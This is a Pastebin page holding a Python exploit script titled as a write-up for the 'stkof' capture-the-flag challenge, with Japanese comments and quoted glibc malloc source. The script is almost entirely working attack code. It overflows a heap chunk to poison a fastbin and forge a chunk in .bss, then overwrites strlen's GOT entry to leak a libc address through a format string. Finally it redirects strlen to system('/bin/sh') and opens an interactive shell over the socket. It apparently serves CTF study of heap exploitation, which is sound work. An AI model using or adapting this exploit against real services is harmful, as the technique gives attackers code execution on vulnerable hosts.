Advertisement
bata_24

stkof write-up (fastbins attack)

Dec 26th, 2014
276
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Python 5.75 KB | None | 0 0
  1. #!/usr/bin/python
  2. # -*- coding: utf-8 -*-
  3. import socket, struct, telnetlib
  4.  
  5. ###################### useful function definition
  6. def sock(remoteip, remoteport):
  7.   s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
  8.   s.connect((remoteip, remoteport))
  9.   return s, s.makefile('rw', bufsize=0)
  10.  
  11. def read_until(f, delim):
  12.   data = ''
  13.   while not data.endswith(delim):
  14.     data += f.read(1)
  15.   return data
  16.  
  17. def pQ(a):
  18.   return struct.pack("<Q",a)
  19.  
  20. def shell(s):
  21.   t = telnetlib.Telnet()
  22.   t.sock = s
  23.   t.interact()
  24.  
  25. ###################### menu function
  26. def alloc_mem(size):
  27.   f.write("1\n")
  28.   f.write(str(size)+"\n")
  29.   index = int(f.readline())
  30.   assert f.readline().strip() == 'OK'
  31.   return index
  32.  
  33. def write_mem(idx, data):
  34.   size = len(data)
  35.   f.write("2\n")
  36.   f.write(str(idx)+"\n")
  37.   f.write(str(size)+"\n")
  38.   f.write(data)
  39.   assert f.readline().strip() == 'OK'
  40.  
  41. def free_mem(idx):
  42.   f.write("3\n")
  43.   f.write(str(idx)+"\n")
  44.   assert f.readline().strip() == 'OK'
  45.  
  46. def strlen_mem(idx):
  47.   f.write("4\n")
  48.   f.write(str(idx)+"\n")
  49.   r = f.readline()
  50.   return r
  51.  
  52. ###################### main
  53. s, f = sock("localhost", 3573)
  54. #s, f = sock("katagaitai.orz.hm", 3333)
  55.  
  56. strlen_got = 0x602030
  57. printf_plt = 0x4007A0
  58. IDX = 0x602100 # IDXを,偽装したいチャンクのsizeメンバ相当とする
  59.  
  60. """
  61. http://code.woboq.org/userspace/glibc/malloc/malloc.c.html#1574
  62. 1574        /*
  63. 1575        Fastbins
  64. 1576
  65. 1577        An array of lists holding recently freed small chunks. Fastbins
  66. 1578        are not doubly linked. It is faster to single-link them, and
  67. 1579        since chunks are never removed from the middles of these lists,
  68. 1580        double linking is not necessary. Also, unlike regular bins, they
  69. 1581        are not even processed in FIFO order (they use faster LIFO) since
  70. 1582        ordering doesn't much matter in the transient contexts in which
  71. 1583        fastbins are normally used.
  72. 1584
  73. 1585        Chunks in fastbins keep their inuse bit set, so they cannot
  74. 1586        be consolidated with other free chunks. malloc_consolidate
  75. 1587        releases all chunks in fastbins and consolidates them with
  76. 1588        other free chunks.
  77. 1589        */
  78. つまり fastbins のリンクリストに登録されるのは,64bit環境では160バイト以下の領域で,
  79. この場合はシングルリンクリストとなっている.(malloc_chunkのprev_size, size, fdまでを見て,bkは見ない)
  80. """
  81.  
  82. # 160バイト以下(fastbinsに適合するサイズ)を
  83. mem = []
  84. for i in xrange(0x30): # 0x30回程度確保し,sizeメンバ(=IDX)を偽装する
  85.   idx = alloc_mem(0x20) # チャンクが使用中の場合,チャンクの管理領域は0x10バイトなので,実際には合計で0x30確保される
  86.   mem.append(idx)
  87.  
  88. # 最後だけfreeしてfastbinsに登録
  89. free_mem(mem[-1])
  90.  
  91. """
  92. http://code.woboq.org/userspace/glibc/malloc/malloc.c.html#1108
  93. 1108        struct malloc_chunk {
  94. 1109
  95. 1110        INTERNAL_SIZE_T prev_size; /* Size of previous chunk (if free). */
  96. 1111        INTERNAL_SIZE_T size; /* Size in bytes, including overhead. */
  97. 1112
  98. 1113        struct malloc_chunk* fd; /* double links -- used only if free. */
  99. 1114        struct malloc_chunk* bk;
  100. 1115
  101. 1116        /* Only used for large blocks: pointer to next larger size. */
  102. 1117        struct malloc_chunk* fd_nextsize; /* double links -- used only if free. */
  103. 1118        struct malloc_chunk* bk_nextsize;
  104. 1119        };
  105. """
  106.  
  107. # fastbinsに登録されているはずの解放済み領域に,ヒープBOFで上書きする
  108. bof = 'A'*32
  109. bof += pQ(0)              # prev_size
  110. bof += pQ(0x20+0x10+1)    # size # (確保サイズ+管理領域0x10バイト) | 1
  111. bof += pQ(IDX-0x8)        # fd
  112. write_mem(mem[-2], bof)
  113.  
  114. # fastbinsに登録されているエントリが再利用されて確保されるが,この時上記で作ったエントリの情報が信用されてしまう.
  115. # もともとfastbinsでは,最後のエントリにおいて P->FD == 0x0 だったのが,ヒープBOFで P->FD == 0x602108 に上書きされている.
  116. # このチェックは malloc.c の do_check_malloc_state() で行われるが,P->BKは見ていない.
  117. # つまり P->FD が 0x602108 になるので,空になるはずの fastbins に0x602108というエントリができてしまう.
  118. e0 = alloc_mem(0x20)
  119. mem.append(e0)
  120.  
  121. # 偽造したfastbinsのエントリを使って,0x20バイトのメモリを確保
  122. e1 = alloc_mem(0x20)
  123. mem.append(e1)
  124.  
  125. # printf@pltをstrlen@gotに仕込んだら,strlenする時のアドレスがわかるはずである.
  126. # そのために,まずは上書きしたいstrlen@gotをbss中に仕込む.これでidx=0にstrlen@gotのアドレスが書き込まれる
  127. bof = 'A'*56
  128. bof += pQ(strlen_got)
  129. write_mem(e1, bof)
  130.  
  131. # strlen@gotにprintf@pltを書き込む
  132. write_mem(0, pQ(printf_plt))
  133.  
  134. # printfで利用するフォーマットを書いておく
  135. write_mem(mem[-1], "%41$p\n\0")
  136.  
  137. # printf FSB
  138. r = strlen_mem(mem[-1])
  139. f.readline().strip() # '...'
  140. _libc_start_main = int(r,16)
  141. print "stack: libc_start_main", hex(_libc_start_main)
  142.  
  143. # calc system
  144. """
  145. $ objdump -d -M intel /lib/x86_64-linux-gnu/libc-2.19.so |less
  146. 0000000000021dd0 <__libc_start_main>:
  147. ...
  148. 21ec3:       ff d0                   call   rax
  149. 21ec5:       89 c7                   mov    edi,eax
  150. $ objdump -d -M intel /lib/x86_64-linux-gnu/libc-2.19.so |grep 'system>:'
  151. 0000000000046530 <__libc_system>:
  152. """
  153. libc_base = _libc_start_main - 0x21ec5
  154. libc_system = libc_base + 0x46530 # local
  155. print "system:", hex(libc_system)
  156.  
  157. # strlen@gotにsystem@libcを書き込む
  158. write_mem(0, pQ(libc_system))
  159.  
  160. # /bin/shを書き込む
  161. write_mem(mem[-1], "/bin/sh\0\n\0")
  162.  
  163. # call system("/bin/sh")
  164. strlen_mem(mem[-1])
  165.  
  166. print "got shell :)"
  167. shell(s)
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement